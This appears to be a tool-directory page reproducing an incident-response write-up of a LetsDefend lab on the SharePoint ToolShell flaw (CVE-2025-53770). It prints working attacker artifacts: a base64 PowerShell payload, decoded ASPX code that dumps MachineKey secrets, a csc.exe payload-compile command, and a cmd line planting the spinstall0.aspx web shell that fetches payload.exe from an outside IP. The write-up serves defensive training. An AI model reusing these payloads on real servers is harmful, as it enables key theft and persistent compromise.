Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend — 逐步演练在LetsDefend实验室中利用CVE-2025-53770 (ToolShell),涵盖RCE、Web Shell部署和事件响应分析。 | Kitploit
工具/GitHubGitHub/cyprianatsyor/toolshell-cve-2025-53770-sharepoint-exploit-lab-letsdefend
漏洞分析漏洞利用Web应用程序漏洞利用恶意软件分析数字取证CTF渗透测试命令与控制学习与教育

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
事件响应
Payload 开发
实验室与实践
GitHubcyprianatsyor/toolshell-cve-2025-53770-sharepoint-exploit-lab-letsdefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

逐步演练在LetsDefend实验室中利用CVE-2025-53770 (ToolShell),涵盖RCE、Web Shell部署和事件响应分析。

查看仓库
1年前尚未审核

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

TL;DR 嘿,在这个 LetsDefend 实验室中,我深入研究了名为 ToolShell 的 SharePoint 零日漏洞(CVE-2025-53770)。简而言之,我模拟了一次真实的攻击:恶意 POST 请求绕过认证,运行 PowerShell 窃取 MachineKeySection 密钥,编译 payload.exe,并植入 Web shell(spinstall0.aspx)。我记录了所有内容,分析了行为,并隔离了主机。本文档涵盖了攻击过程、我的操作步骤以及经验教训。

实验室概览

  • 平台:LetsDefend Cyber Range
  • 目标:SharePoint 服务器(SharePoint01)
  • CVE:CVE-2025-53770
  • 目标:分析 RCE,练习检测与隔离

使用的工具:

Windows PowerShell

VirusTotal

AbuseIPDB

LetsDefend 日志管理

LetsDefend 端点安全

LetsDefend 威胁情报


告警详情

告警详情

EventID : 320

Event Time : Jul, 22, 2025, 01:07 PM

Rule : SOC342 - CVE‑2025‑53770 SharePoint ToolShell 认证绕过与 RCE

Level : 安全分析师

Hostname : SharePoint01

Source IP Address : 107.191.58.76

Destination IP Address : 172.16.20.17

HTTP Request Method : POST

Requested URL : /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0

Referer : /_layouts/SignOut.aspx

Content-Length : 7699

Alert Trigger Reason : 可疑的未经认证的 POST 请求,目标为 ToolPane.aspx,载荷较大,Referer 被伪造,表明存在 CVE-2025-53770 漏洞利用。

Device Action : 允许


概述 2025 年 7 月 22 日,我们的安全监控系统标记了一次针对本地 SharePoint 服务器实例 SharePoint01 的严重零日攻击。

CVE 详情:

  • CVE ID:CVE-2025-53770
  • 严重程度:严重(CVSS 9.8)
  • 攻击类型:反序列化漏洞导致的远程代码执行(RCE)
  • 披露:2025 年 7 月 19 日公开
  • 补丁已发布:2025 年 7 月 20-21 日

CISA KEV 目录:条目发布于 2025 年 7 月 20 日

攻击向量:向 /ToolPane.aspx 端点发送 POST 请求,伪造 Referer 头,携带大型恶意载荷

来源:IP 107.191.58.76,Vultr Holdings, LLC,美国


关于 SharePoint Microsoft SharePoint 是企业协作和文档管理的核心支柱。本质上它是一个安全、有序的类云空间,用于文件、工作流和内部应用。

核心用途:

文档管理:版本控制、审计跟踪、文件控制

协作:多用户同时编辑同一文档

内部门户:新闻、更新、人力资源信息、政策

自动化工作流:审批、表单、通知

集成:与 Teams、Outlook、Office 套件、Power BI 深度绑定

安全注意事项:

认证:AD 或 SSO

加密:静态和传输中数据

Web 部件与布局:若配置不当可被利用

补丁管理:对防止零日攻击至关重要


什么是 CVE-2025-53770?---

CVE-2025-53770,也称为 ToolShell,是一个在野被利用的 SharePoint 零日漏洞。它是本地 Microsoft SharePoint 服务器中的一个严重反序列化漏洞,允许未经认证的远程代码执行(RCE)。 它与其它 SharePoint 漏洞(CVE-2025-49704 和 CVE-2025-49706)链式利用,完全入侵系统。 其 CVSS 评分为 9.8,属于严重级别。

攻击者在做什么?---

他们通过伪造 Referer 头,绕过认证,利用 ToolPane.aspx 端点上传恶意 Web shell,例如 spinstall0.aspx。

他们从 SharePoint 配置中提取关键的 MachineKey 值,以生成受信任的 ViewState 载荷,实现持久访问。

随后部署勒索软件(例如“Warlock”变种)或窃取凭证并设置后门。

首次公开披露:2025 年 7 月 19 日(微软博客)

补丁发布:2025 年 7 月 20-21 日

列入 CISA KEV 目录:2025 年 7 月 20 日


攻击分析

在 VirusTotal 上分析发送者 IP 地址(源 IP 地址)

Source IP Address : 107.191.58.76

VirusTotal 结果

由此我已知该 IP 是恶意的。

现在我需要借助 AbuseIPDB 查找该 IP 的地理位置

AbuseIPDB

这是我得到的结果:

ISP Vultr Holdings, LLC

Usage Type - 数据中心/Web 主机/传输

ASN - AS20473

主机名 - 107.191.58.76.vultrusercontent.com

域名 - vultr.com

国家 - 美国

城市 - 加利福尼亚州洛杉矶

该 IP 已知用于黑客攻击、暴力破解、Web 应用攻击、端口扫描、DNS 投毒


作为初级分析师解决此问题 我的处理方式 首先,我在终端安全中搜索名为 "SharePoint01" 的主机。

终端安全

找到主机后,我查看终端历史记录,发现了一条命令行

root@kitploit:~

命令行代码

这条命令在做什么?

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" → 直接从系统目录启动 PowerShell。

-nop

→ 无配置文件——忽略 PowerShell 配置文件脚本以避免检测或干扰。

-w hidden

→ 以隐藏窗口运行,用户看不到。

-e

让我们解码这个:

root@kitploit:~
"PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="

步骤 1:侦察与载荷捕获

捕获到针对 /ToolPane.aspx 的 POST 请求: POST /_layouts/15/ToolPane.aspx HTTP/1.1 Host: sharepoint01.lab Content-Type: application/x-www-form-urlencoded Content-Length: 1452 Referer: http://sharepoint01.lab/_layouts/15/settings.aspx User-Agent: Mozilla/5.0 Payload=BASE64_ENCODED_POWERSHELL_PAYLOAD_HERE

方法:向 /ToolPane.aspx 发送 POST 请求,绕过认证

载荷:大型、混淆的 Base64 编码 PowerShell 脚本

Referer 头:伪造以隐藏来源

步骤 2:执行与利用:

我在 Base64 解码器中解码了脚本/载荷

用 base64 解码后得到:

root@kitploit:~
"<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">

&nbsp;   public void Page\_load()

&nbsp;   {

&nbsp;		var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");

&nbsp;       var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");

&nbsp;       var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);

&nbsp;       var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object\[0]);

&nbsp;       Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);

&nbsp;   } 

解码命令

让我解释一下上述脚本的作用:

它导入了:

-System.Diagnostics

-System.IO

然后运行一个在 PowerShell 内的 C# 内联脚本,该脚本:

-加载 System.Web 程序集

-访问 System.Web.Configuration.MachineKeySection

-从机器的 web.config 中检索验证和解密密钥

-然后将它们写入响应,很可能被攻击者窃取

攻击者接下来发送了这条命令:

root@kitploit:~
""C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs"

-csc.exe - 一个带有 .NET 框架的 C# 编译器

-然后指示编译器将 "payload.exe" 保存到主机上

这个载荷可能是一个恶意软件

攻击者的下一条命令行:

root@kitploit:~
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"

它的作用:

"C:\Windows\System32\cmd.exe" /c - 在命令提示符中运行以下命令,然后终止。

echo <form runat=\"server\"> ... </form>- 写入一小段 ASP.NET 标记,将在 SharePoint 服务器上运行。

该标记包含: <object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> - 此 CLSID 是 Shell ActiveX 控件(用于在 IE/COM 上下文中运行 shell 命令或执行特殊操作)。

<param name="Command" value="Redirect"> - 告诉对象要执行什么动作。

<param name="Url" value="http://107.191.58.76/payload.exe"> - 指向托管在远程服务器上的恶意 EXE - 很可能就是他们的实际恶意软件。

攻击者的下一条命令行:

root@kitploit:~
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"

再次说明它的作用:

"C:\Windows\System32\cmd.exe" /c - 在命令提示符中运行以下命令,然后终止。

echo <form runat=\"server\"> ... </form> - 写入一小段 ASP.NET 标记,将在 SharePoint 服务器上运行。

并且

该标记包含:

root@kitploit:~
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
此 CLSID 是 Shell ActiveX 控件(用于在 IE/COM 上下文中运行 shell 命令或执行特殊操作)。

<param name="Command" value="Redirect">- 告诉对象要执行什么动作。

<param name="Url" value="http://107.191.58.76/payload.exe"> - 指向托管在远程服务器上的恶意 EXE - 很可能就是他们的实际恶意软件。

> C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\16\\TEMPLATE\\LAYOUTS\\spinstall0.aspx - 将整个恶意 HTML/ASP.NET 对象保存为 spinstall0.aspx,位于 SharePoint 的 layouts 文件夹中。

此文件夹中的任何内容都可以通过浏览 SharePoint 站点上的正确 URL 访问,这意味着攻击者现在在你的服务器上拥有了一个触发恶意操作的网页。

我发现的命令行如下:

命令行 2

命令行 3


确认这是有风险的之后,我继续探索该主机上的进程。

看起来很可疑,充满了大量的文件路径和 exe 文件。

出于好奇,我进入日志管理,在日志中搜索了恶意 IP。

看到一条原始日志,包含一个 POST 请求:

root@kitploit:~

Referer 为 - /_layouts/SignOut.aspx

我接着检查了攻击是否成功。

你知道吗?它成功了,所以现在我必须进行隔离,交给 SOC2 处理。

这是我的分析师笔记:

我们发现了一次严重的攻击,利用了一个名为 ToolShell(CVE-2025-53770)的零日漏洞,目标是一台名为 SharePoint01 的本地 SharePoint 服务器。攻击者来自一个已知的恶意 IP(107.191.58.76),向 SharePoint 端点(ToolPane.aspx)发送了一个未经认证的 POST 请求,携带巨大载荷,绕过认证以在服务器上远程执行代码。

深入调查后,攻击者运行了隐藏的 PowerShell 命令,解码 base64 脚本以窃取敏感的 SharePoint MachineKey 值,从而能够构造受信任的载荷。他们在主机上编译了一个恶意可执行文件,然后在 SharePoint 的 layouts 文件夹中植入了一个 Web shell(spinstall0.aspx),该 shell 会从他们的服务器下载并运行恶意软件,提供持久的后门访问权限。

确认入侵后,我们隔离了受影响的主机,并建议立即安装补丁,因为修复补丁就在几天前发布。我们还在扫描其他 Web shell,监控是否有勒索软件或数据窃取行为,并建议加强对 SharePoint 服务器的安全防护,以防进一步损害。


给团队的笔记:

团队注意: 大家好,我们在 SharePoint 服务器(SharePoint01)上检测到了 ToolShell 零日漏洞(CVE-2025-53770)的严重利用。攻击者使用未经认证的 POST 请求绕过认证并执行远程代码,首先针对 ToolPane.aspx 发送了大型可疑载荷。

攻击者运行隐藏的 PowerShell 命令窃取敏感的 SharePoint 机器密钥,然后在系统上编译并投放了恶意可执行文件。他们还在 SharePoint layouts 文件夹中创建了一个 Web shell(spinstall0.aspx),该 shell 从外部服务器下载并运行恶意软件,可能赋予他们持久控制权。

我们已经隔离了受损主机,并建议紧急安装补丁,因为补丁刚发布不久。我们还在扫描类似的 Web shell,并监控是否有勒索软件或数据泄露的迹象。请大家保持警惕,今后加强 SharePoint 的安全防护。

完成

这是我的结果

LetsDefend 上的结果

下载工具